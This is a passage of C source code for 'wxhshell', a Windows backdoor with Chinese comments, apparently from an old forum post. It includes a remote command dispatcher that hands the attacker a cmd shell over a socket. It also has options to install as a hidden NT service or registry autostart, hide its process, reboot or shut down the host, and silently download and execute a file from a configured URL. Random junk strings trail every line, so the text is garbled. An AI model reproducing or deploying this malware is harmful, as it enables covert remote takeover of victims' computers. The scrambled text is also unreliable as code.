  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KlMSkdmW  
  } 'F\@KE -d  
  else { 1Mftq4nq  
A#yZh\#  
    switch(cmd[0]) { |6cz r  
  PQu_]cXI  
  // 帮助 Ix-bJE6+I,  
  case '?': { > FVBn;1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {Dc{e5K  
    break; N(6Q`zs  
  } >1}RiOd3  
  // 安装 4"om;+\  
  case 'i': { I%^Bl:M  
    if(Install()) | ODi[~y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FZvh]ZX  
    else :7WeR0*%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BHNcE*U}@?  
    break; CAbeb+O  
    } 9J*M~gKbz  
  // 卸载 .T2P%Jn.  
  case 'r': { pR3@loFQ`o  
    if(Uninstall()) >@Nn_d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m-< "`:+  
    else X,] E {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ $=N'Q  
    break; YB`;<+sY  
    } '`)r<lYN,  
  // 显示 wxhshell 所在路径 T J!d 7  
  case 'p': { A~@u#]]<n  
    char svExeFile[MAX_PATH]; 8h.Dc&V  
    strcpy(svExeFile,"\n\r"); ^$N}[1   
      strcat(svExeFile,ExeFile); U,tl)(!@Q-  
        send(wsh,svExeFile,strlen(svExeFile),0); W Ai91K@  
    break; d)R7#HLZ7  
    } [Yq*DkW  
  // 重启 Y"n$d0%  
  case 'b': { 1edeV48{:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j3Sz+kOf,  
    if(Boot(REBOOT)) 0SHF 8kek  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1Xe9'$Qb  
    else { wNfWHaH" m  
    closesocket(wsh); + a,x  
    ExitThread(0); W$>AK_Y}  
    } xJ);P.  
    break; 7;8#iS/  
    } CDT%/9+-  
  // 关机 ]8m_+:`=  
  case 'd': { 6T qs6*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7)i6L'r  
    if(Boot(SHUTDOWN)) -p-<mC@<&S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pX/42W  
    else { )y .1}R2[  
    closesocket(wsh); 7m<;"e)  
    ExitThread(0); tO@n3"O  
    } ?V{AP&#M$x  
    break; Dcep^8'  
    } z6Xn9  
  // 获取shell ,S%DHT  
  case 's': { vNA~EV02  
    CmdShell(wsh); =SUCcdy&  
    closesocket(wsh); a(s% 3"*Q  
    ExitThread(0); U WU PY  
    break; 3G.-JLhs  
  } s|O4 >LsG  
  // 退出 <5xlP:Cx  
  case 'x': { O-N@HZC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tLD(%s_  
    CloseIt(wsh); Lj,!0 25  
    break;  |4_[wX r  
    } h{Zd, 9H  
  // 离开 gK6_vS4K)  
  case 'q': { 9i?Q=Vuc~<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U9/>}Ni%3G  
    closesocket(wsh); H wu (}  
    WSACleanup(); 79bt%P  
    exit(1); !8Mi+ZV  
    break; 9R1S20O  
        } u&npUw^Va  
  } ,K-?M5(n9  
  } "%?$BoJR0  
S_|VlI  
  // 提示信息 g{U?Y"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1M<;}hJ{/  
} ~\QN.a   
  } % k}+t3aF  
X%lk] &2  
  return; HC$rC"f  
} EqjaD/6Y`  
C}D\^(nLu.  
// shell模块句柄 z7PmyU >  
int CmdShell(SOCKET sock) q(n PI  
{ 0+m4 }]6l  
STARTUPINFO si; <W2 YG6^i  
ZeroMemory(&si,sizeof(si)); dJf#j?\[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OV+|j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g4U`Qf3  
PROCESS_INFORMATION ProcessInfo; bPL.8hX   
char cmdline[]="cmd"; U~l.%mui  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b&_u+g  
  return 0; -nL!#R{e  
} X[;-SXq  
d+iV19#i  
// 自身启动模式 +)06*"I  
int StartFromService(void) ./r#\X)dc  
{ 8IQqDEY^  
typedef struct -NL=^O$G  
{ y/\0qQ/  
  DWORD ExitStatus; P6 ~& ,a  
  DWORD PebBaseAddress; 5W4Tp% Lda  
  DWORD AffinityMask; }n;.E&<[  
  DWORD BasePriority; tsys</E&  
  ULONG UniqueProcessId; "NOll:5"(  
  ULONG InheritedFromUniqueProcessId; %'3Y?d  
}   PROCESS_BASIC_INFORMATION; rWS],q=c  
}48 o{\  
PROCNTQSIP NtQueryInformationProcess; ])vWvNx  
4Mr)~f rc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0\tdxi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TMAart; <  
L8.u7(-#  
  HANDLE             hProcess; zYZ^/7)  
  PROCESS_BASIC_INFORMATION pbi; ^3 6oqe{  
hI}rW^o^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q!`  
  if(NULL == hInst ) return 0; )ipTm{  
AY)R2> fW%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z.6I6IfL\L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j@778fvM\t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yGZsPQIaV  
/~6)Vt  
  if (!NtQueryInformationProcess) return 0; dkI(&/  
d:GAa   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m1{OaHxKh  
  if(!hProcess) return 0; $-l\&V++F  
i0py5Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; : kw14?]_  
9|5>?'CqP  
  CloseHandle(hProcess); *If ]f0?%  
vWq/A.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G W~ZmK  
if(hProcess==NULL) return 0; XMi)PXs$  
lDF26<<\`  
HMODULE hMod; ~X2 cTG!,  
char procName[255]; ov%.+5P  
unsigned long cbNeeded; Y. 1dk  
j"wbq-n,7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q|&Wcxq2!  
cjyb:gAO  
  CloseHandle(hProcess); $?Z-BD1  
,Jqk0cW2  
if(strstr(procName,"services")) return 1; // 以服务启动 E*]%@6tH  
2& ZoG%)  
  return 0; // 注册表启动 ?I}0[+)V  
} NWt5)xl  
Ou,Eu05jt'  
// 主模块 &8'QD~  
int StartWxhshell(LPSTR lpCmdLine) aX,ux9#  
{ k`;&??  
  SOCKET wsl; O od?ifA  
BOOL val=TRUE; l~j{i/>  
  int port=0; Y>a2w zr  
  struct sockaddr_in door; x^u [L$  
IKVS7m  
  if(wscfg.ws_autoins) Install(); h6uv7n~4  
(8d"G9R(  
port=atoi(lpCmdLine); J]mq|vE  
|:G`f8q9  
if(port<=0) port=wscfg.ws_port; $]I" ,ef  
e(~Y!:Q#O  
  WSADATA data; \h UE, ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ; w+<yW}EL  
4M3{P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S1G=hgF_L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  OYwH$5  
  door.sin_family = AF_INET; ns;nle|m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IP-}J$$1  
  door.sin_port = htons(port); jSMs<ox  
DY'1#$;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * u{CnH  
closesocket(wsl); <lFQ4<"m  
return 1; s\dhQZw3  
} $bo 5:c  
+:m'a5Dm  
  if(listen(wsl,2) == INVALID_SOCKET) { gW_^GrKpI  
closesocket(wsl); uU#7SX(uu  
return 1; ]CZ&JL  
} ZW>?y$C+  
  Wxhshell(wsl); {H$m1=S  
  WSACleanup(); GFmVR2z_+  
w 7Y>B`wm?  
return 0; 97~*Z|#<+  
.>bvI1  
} s\#eD0|  
1h0cId8d  
// 以NT服务方式启动 -YfpfNt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jm$v0=W9#  
{ 5p5S_%R$e  
DWORD   status = 0; ?Rg8u  
  DWORD   specificError = 0xfffffff; B}A7Usm  
BR[f{)a5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6yRxb (  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W$_@9W(Bl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {8a s _  
  serviceStatus.dwWin32ExitCode     = 0; kTe0"  
  serviceStatus.dwServiceSpecificExitCode = 0; ;.wWw" )  
  serviceStatus.dwCheckPoint       = 0; km+}./@  
  serviceStatus.dwWaitHint       = 0; Ls~F4ar$/  
EPMdR66  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oN/T>&d  
  if (hServiceStatusHandle==0) return; 8E9W\@\  
2(Ez H  
status = GetLastError(); glvt umv  
  if (status!=NO_ERROR) 3[E)/~-  
{ //\UthOT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &:ib>EB03=  
    serviceStatus.dwCheckPoint       = 0; |Lz:i +;  
    serviceStatus.dwWaitHint       = 0; #7~i.8L  
    serviceStatus.dwWin32ExitCode     = status; |[]"{Eo"}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2n`OcXCh/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Kp/A N5YC  
    return; oztfr<cUH  
  } std4Nyp  
sG~5O\,E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h0)Wy>B=,  
  serviceStatus.dwCheckPoint       = 0; U]h5Q.<SG  
  serviceStatus.dwWaitHint       = 0; !ENb \'>J>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pdQ6/vh  
} .sk$@Q  
DMY?'Nts!  
// 处理NT服务事件,比如:启动、停止 "jyh.@<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 38hAg uZX  
{ Im\{b=vT  
switch(fdwControl) MxXu&.| _  
{ ,:!dqonn  
case SERVICE_CONTROL_STOP: ]c \gUU  
  serviceStatus.dwWin32ExitCode = 0; utz!ElzA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TLk=H Gw  
  serviceStatus.dwCheckPoint   = 0; u\-f\Z7  
  serviceStatus.dwWaitHint     = 0; Jc:gNQCsP  
  { -r!N; s$t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2nFSu9}+r  
  } XdDy0e4{%<  
  return; .CL\``  
case SERVICE_CONTROL_PAUSE: Yy"05V.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^|(w)Sy  
  break; liUrw7,  
case SERVICE_CONTROL_CONTINUE: [foZO&+!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =O)dHY}  
  break; !PzlrH)M=p  
case SERVICE_CONTROL_INTERROGATE: u!X$M?D4  
  break; 4?AggqW  
}; b]NSCu*)s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G^]7!:0  
} P*# H]Pv  
yBPaGZ{f  
// 标准应用程序主函数 `.FvuwP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P"<HxT?  
{ Bk~lE]Q3c7  
,\|W,N}~  
// 获取操作系统版本 9W{=6D86e  
OsIsNt=GetOsVer(); }lk_Oe1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8W]6/st?]  
pOCLyM9c  
  // 从命令行安装 /l,V0+p  
  if(strpbrk(lpCmdLine,"iI")) Install(); !6pOY*> j  
FX FTf2*T  
  // 下载执行文件 xsx @aF  
if(wscfg.ws_downexe) { Ew=8"V`C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8/;q~:v  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fvy__ qcHi  
} n0T\dc~  
u(7PtmV[!  
if(!OsIsNt) { 5_ @8g+~  
// 如果时win9x,隐藏进程并且设置为注册表启动 m q`EM OH  
HideProc(); %r0yBK2uOp  
StartWxhshell(lpCmdLine); _91g=pM   
} 8xQ5[Ov  
else <|M cE  
  if(StartFromService()) 0@yHT-Dy  
  // 以服务方式启动 J>YwMl  
  StartServiceCtrlDispatcher(DispatchTable); !79^M  
else wjF/c  
  // 普通方式启动 gsn3]^X  
  StartWxhshell(lpCmdLine); O;9'0-F ?  
gv}Esps R  
return 0; )v-sde\  
}
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只看该作者 1 发表于: 2006-10-10
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